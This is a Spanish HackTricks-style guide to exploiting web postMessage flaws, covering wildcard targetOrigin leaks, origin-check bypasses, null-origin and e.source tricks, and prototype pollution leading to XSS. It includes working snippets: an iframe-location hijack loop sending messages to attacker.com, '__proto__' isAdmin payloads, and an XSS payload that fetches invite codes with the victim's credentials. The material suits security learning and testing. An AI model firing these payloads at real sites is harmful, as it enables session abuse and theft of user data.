228 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnerabilidades de PostMessage
## Vulnerabilidades de PostMessage
{{#include ../../banners/hacktricks-training.md}}
## Enviar **PostMessage**
**PostMessage** utiliza la siguiente función para enviar un mensaje:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Note que **targetOrigin** puede ser un '\*' o una URL como _https://company.com._\
En el **segundo escenario**, el **mensaje solo puede ser enviado a ese dominio** (incluso si el origen del objeto window es diferente).\
Si se utiliza el **comodín**, los **mensajes podrían ser enviados a cualquier dominio**, y se enviarán al origen del objeto Window.
### Ataque a iframe y comodín en **targetOrigin**
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentras una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** usando un **comodín** (\*), puedes **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por ti.\
Ten en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado a una URL y no a un comodín**, este **truco no funcionará**.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## explotación de addEventListener
**`addEventListener`** es la función utilizada por JS para declarar la función que está **esperando `postMessages`**.\
Se utilizará un código similar al siguiente:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
```
Nota en este caso cómo lo **primero** que hace el código es **verificar el origen**. Esto es terriblemente **importante** principalmente si la página va a hacer **algo sensible** con la información recibida (como cambiar una contraseña). **Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints** y cambiar las contraseñas de las víctimas (en este ejemplo).
### Enumeración
Para **encontrar oyentes de eventos** en la página actual puedes:
- **Buscar** en el código JS `window.addEventListener` y `$(window).on` (_versión de JQuery_)
- **Ejecutar** en la consola de herramientas de desarrollo: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Ir a** _Elements --> Event Listeners_ en las herramientas de desarrollo del navegador
![](<../../images/image (396).png>)
- Usar una **extensión de navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Estas extensiones de navegador **interceptarán todos los mensajes** y te los mostrarán.
### Bypass de verificación de origen
- El atributo **`event.isTrusted`** se considera seguro ya que devuelve `True` solo para eventos que son generados por acciones genuinas del usuario. Aunque es difícil de eludir si se implementa correctamente, su importancia en las verificaciones de seguridad es notable.
- El uso de **`indexOf()`** para la validación de origen en eventos de PostMessage puede ser susceptible a eludir. Un ejemplo que ilustra esta vulnerabilidad es:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- El método **`search()`** de `String.prototype.search()` está destinado a expresiones regulares, no a cadenas. Pasar cualquier cosa que no sea una regexp lleva a una conversión implícita a regex, haciendo que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo eludir la validación con dominios especialmente diseñados. Por ejemplo:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- La función **`match()`**, similar a `search()`, procesa regex. Si la regex está mal estructurada, podría ser propensa a eludir.
- La función **`escapeHtml`** está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado, sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de tal manera que su propiedad controlada no reconozca `hasOwnProperty`, el `escapeHtml` no funcionará como se espera. Esto se demuestra en los ejemplos a continuación:
- Fallo esperado:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Eludir el escape:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotable debido a su propiedad `name` de solo lectura. Esta propiedad, cuando se usa en plantillas, no es sanitizada por la función `escapeHtml`, lo que lleva a posibles riesgos de seguridad.
- La propiedad `document.domain` en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de mismo origen dentro del mismo dominio padre.
### Bypass de e.origin == window.origin
Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad.
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que también se incluya el atributo **`allow-popups-to-escape-sandbox`**, el origen de la ventana emergente también se establece en `null`, alineándose con el origen del iframe.
En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos, el de envío y el de recepción, tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
Para más información **lee**:
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Eludir e.source
Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para **Content Scripts de extensiones de navegador** para verificar si el mensaje fue enviado desde la misma página):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **inmediatamente eliminado**.
Para más información **lee:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### Bypass de X-Frame-Header
Para realizar estos ataques, idealmente podrás **poner la página web de la víctima** dentro de un `iframe`. Pero algunos encabezados como `X-Frame-Header` pueden **prevenir** ese **comportamiento**.\
En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña a la aplicación web vulnerable y comunicarte con ella:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Robando mensajes enviados al hijo bloqueando la página principal
En la siguiente página puedes ver cómo podrías robar un **sensitive postmessage data** enviado a un **child iframe** al **bloquear** la página **principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **leak the data** antes de que sea recibido:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Robando mensajes modificando la ubicación del iframe
Si puedes iframe una página web sin X-Frame-Header que contenga otro iframe, puedes **cambiar la ubicación de ese child iframe**, así que si está recibiendo un **postmessage** enviado usando un **wildcard**, un atacante podría **cambiar** ese iframe **origin** a una página **controlada** por él y **steal** el mensaje:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage a Prototype Pollution y/o XSS
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **iframe** la **página** y **exploit** la **prototype pollution/XSS** enviando el exploit a través de `postMessage`.
Un par de **very good explained XSS though `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Ejemplo de un exploit para abusar de **Prototype Pollution y luego XSS** a través de un `postMessage` a un `iframe`:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
Para **más información**:
- Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/index.html)
- Enlace a la página sobre [**contaminación de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Referencias
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- Para practicar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}